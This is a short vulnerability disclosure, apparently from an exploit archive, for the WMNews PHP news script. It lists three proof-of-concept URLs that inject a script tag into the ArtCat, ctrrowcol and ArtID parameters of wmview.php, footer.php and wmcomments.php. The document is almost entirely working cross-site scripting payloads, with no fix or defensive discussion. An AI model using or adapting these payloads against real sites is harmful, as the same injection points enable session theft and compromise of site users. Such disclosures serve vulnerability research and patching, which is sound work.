WMNews Cross Site Scripting

[Partizan]

Site: http://wartamikael.org/PHPScripts/

http://victim/path/wmview.php?ArtCat="><script>alert(/Partizan/)</script>

http://victim/path/footer.php?ctrrowcol="><script>alert(/Partizan/)</script>

http://victim/path/wmcomments.php?act=vi&CmID=2&ArtID="><script>alert(/Partizan/)</script>